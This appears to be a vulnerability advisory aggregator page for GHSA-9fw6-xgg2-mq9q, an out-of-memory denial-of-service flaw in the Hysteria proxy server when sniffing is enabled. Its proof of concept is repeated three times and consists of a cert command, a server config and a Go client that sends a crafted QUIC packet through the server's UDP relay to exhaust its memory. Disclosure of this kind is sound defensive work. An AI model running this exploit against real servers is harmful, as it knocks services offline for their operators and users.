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GHSA-9fw6-xgg2-mq9q

Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled

8.8 High

GHSA-9fw6-xgg2-mq9q is a high vulnerability (CVSS 8.8) in github.com/apernet/hysteria/core/v2, published May 5, 2026. No source lists public exploit code. No source names a fixed version.

What does this mean?
Severity
8.8 HighCVSS 3.1, GitHub Advisories
Exploit chance
UnscoredNo EPSS score yet
Exploitation
None knownNot on CISA’s or ENISA’s lists
Fixed in
No fix listedNo source names one

Description

Summary

A specially constructed quic package can crash the server OOM when the sniff is enabled.

Details

When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.

PoC

openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null

server.yaml

listen: :8443
tls:
  cert: localhost.crt
  key: localhost.key
auth:
  type: password
  password: mypassword
sniff:
  enable: true
outbounds:
  - name: my_direct
    type: direct
    default: true

poc.go

package main

import (
	"flag"
	"fmt"
	"log"
	"net"
	"time"

	"github.com/apernet/hysteria/core/v2/client"
)

func main() {
	serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
	password := flag.String("password", "mypassword", "Hysteria server password")
	flag.Parse()

	serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
	c, _, err := client.NewClient(&client.Config{
		ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
	})
	if err != nil {
		log.Fatalf("Failed to connect: %v", err)
	}
	defer c.Close()
                                                                                                                
	var maliciousQUICPacket = []byte{                                                                                                                                                                         
		0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              
		0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             
		0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              
		0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             
		0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   
	} 

	udpConn, err := c.UDP()
	if err != nil {
		fmt.Printf("[-] UDP error: %v\n", err)
	}
	targetAddr := fmt.Sprintf("8.8.8.8:443")
	fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
	_ = udpConn.Send(maliciousQUICPacket, targetAddr)

	// Wait longer to ensure packet delivery
	time.Sleep(3 * time.Second)
	fmt.Printf("[+] Done.\n")
}

Impact

When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Affected packages

Affected packages
PackageAffectedFixed
github.com/apernet/hysteria/core/v2
Go
through 2.8.1None known
github.com/apernet/hysteria/core
Go
All versionsNone known
github.com/apernet/hysteria/core/v2
Go
All versionsNone known

What each source reports

GitHub Advisories Score used8.8

Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled

Summary

A specially constructed quic package can crash the server OOM when the sniff is enabled.

Details

When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.

PoC

openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null

server.yaml

listen: :8443
tls:
  cert: localhost.crt
  key: localhost.key
auth:
  type: password
  password: mypassword
sniff:
  enable: true
outbounds:
  - name: my_direct
    type: direct
    default: true

poc.go

package main

import (
	"flag"
	"fmt"
	"log"
	"net"
	"time"

	"github.com/apernet/hysteria/core/v2/client"
)

func main() {
	serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
	password := flag.String("password", "mypassword", "Hysteria server password")
	flag.Parse()

	serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
	c, _, err := client.NewClient(&client.Config{
		ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
	})
	if err != nil {
		log.Fatalf("Failed to connect: %v", err)
	}
	defer c.Close()
                                                                                                                
	var maliciousQUICPacket = []byte{                                                                                                                                                                         
		0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              
		0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             
		0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              
		0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             
		0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   
	} 

	udpConn, err := c.UDP()
	if err != nil {
		fmt.Printf("[-] UDP error: %v\n", err)
	}
	targetAddr := fmt.Sprintf("8.8.8.8:443")
	fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
	_ = udpConn.Send(maliciousQUICPacket, targetAddr)

	// Wait longer to ensure packet delivery
	time.Sleep(3 * time.Second)
	fmt.Printf("[+] Done.\n")
}

Impact

When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).

Record
GHSA-9fw6-xgg2-mq9q
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-770
Updated
2026-11-02
OSV8.8

Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled

Summary

A specially constructed quic package can crash the server OOM when the sniff is enabled.

Details

When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.

PoC

openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null

server.yaml

listen: :8443
tls:
  cert: localhost.crt
  key: localhost.key
auth:
  type: password
  password: mypassword
sniff:
  enable: true
outbounds:
  - name: my_direct
    type: direct
    default: true

poc.go

package main

import (
	"flag"
	"fmt"
	"log"
	"net"
	"time"

	"github.com/apernet/hysteria/core/v2/client"
)

func main() {
	serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
	password := flag.String("password", "mypassword", "Hysteria server password")
	flag.Parse()

	serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
	c, _, err := client.NewClient(&client.Config{
		ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
	})
	if err != nil {
		log.Fatalf("Failed to connect: %v", err)
	}
	defer c.Close()
                                                                                                                
	var maliciousQUICPacket = []byte{                                                                                                                                                                         
		0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              
		0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             
		0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              
		0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             
		0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   
	} 

	udpConn, err := c.UDP()
	if err != nil {
		fmt.Printf("[-] UDP error: %v\n", err)
	}
	targetAddr := fmt.Sprintf("8.8.8.8:443")
	fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
	_ = udpConn.Send(maliciousQUICPacket, targetAddr)

	// Wait longer to ensure packet delivery
	time.Sleep(3 * time.Second)
	fmt.Printf("[+] Done.\n")
}

Impact

When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).

Record
GHSA-9fw6-xgg2-mq9q
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-770
Updated
2026-11-02
OSVGO-2026-5288No score

Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled in github.com/apernet/hysteria/core

Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled in github.com/apernet/hysteria/core

Record
GO-2026-5288
Updated
2026-11-02

History

History
RecordedChangedSources
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

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